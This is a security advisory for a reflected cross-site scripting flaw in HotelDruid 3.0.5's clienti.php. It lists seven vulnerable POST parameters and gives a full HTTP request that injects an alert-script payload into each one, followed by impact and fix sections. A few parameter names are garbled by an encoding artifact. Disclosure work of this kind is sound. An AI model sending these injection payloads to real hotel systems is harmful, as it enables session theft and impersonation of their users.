Affected Version: hoteldruid version 3.0.5
Security Issue:
Cross site scripting in POST Request via annonascita, annoscaddoc, giornonascita, giornoscaddoc, lingua_cli, mesenascita, mesescaddoc parameter
URL: <http://localhost/hoteldruid/clienti.php>
Vulnerable Parameters:
annonascita
annoscaddoc
giornonascita
giornoscaddoc
lingua_cli
mesenascita
mesescaddoc
Method: POST
Payload: '"()%26%25<zzz><ScRiPt%20>alert(9823)</ScRiPt>
Vulnerability Description:
Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
HTTP Request:
POST /hoteldruid/clienti.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: <http://localhost/hoteldruid/>
Content-Length: 1031
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Host: localhost
Connection: Keep-alive
anno=2023&annonascita=19'"()%26%25<zzz><ScRiPt%20>alert(9823)</ScRiPt>&annoscaddoc=2024'"()%26%25<zzz><ScRiPt%20>alert(9539)</ScRiPt>&cap=94102&citta=San%20Francisco&cittadoc=San%20Francisco&cittanascita=San%20Francisco&cod_fiscale=94102&cognome=gGBwKfnq&documento=1&email=testing%40example.com&email2=testing%40example.com&email_cert=testing%40example.com&fax=317-317-3137&giornonascita=01'"()%26%25<zzz><ScRiPt%20>alert(9751)</ScRiPt>&giornoscaddoc=01'"()%26%25<zzz><ScRiPt%20>alert(9535)</ScRiPt>&id_sessione=1&inseriscicliente=1&lingua_cli=en'"()%26%25<zzz><ScRiPt%20>alert(9219)</ScRiPt>&mesenascita=01'"()%26%25<zzz><ScRiPt%20>alert(9057)</ScRiPt>&mesescaddoc=01'"()%26%25<zzz><ScRiPt%20>alert(9645)</ScRiPt>&nazionalita=Afghanistan&nazione=Afghanistan&nazionedoc=Afghanistan&nazionenascita=Afghanistan&nome=gGBwKfnq&nomevia=gGBwKfnq&numcivico=1&origine=clienti.php&partita_iva=1®ione=NY®ionedoc=NY®ionenascita=NY&sesso=m&soprannome=1967&telefono=555-666-0606&telefono2=555-666-0606&telefono3=555-666-0606&via=Street
HTTP Response:
Screenshot:
The impact of this vulnerability:
Malicious JavaScript has access to all the same objects as the rest of the web page, including access to cookies and local storage, which are often used to store session tokens. If an attacker can obtain a user's session cookie, they can then impersonate that user.
How to fix this vulnerability:
Apply context-dependent encoding and/or validation to user input rendered on a page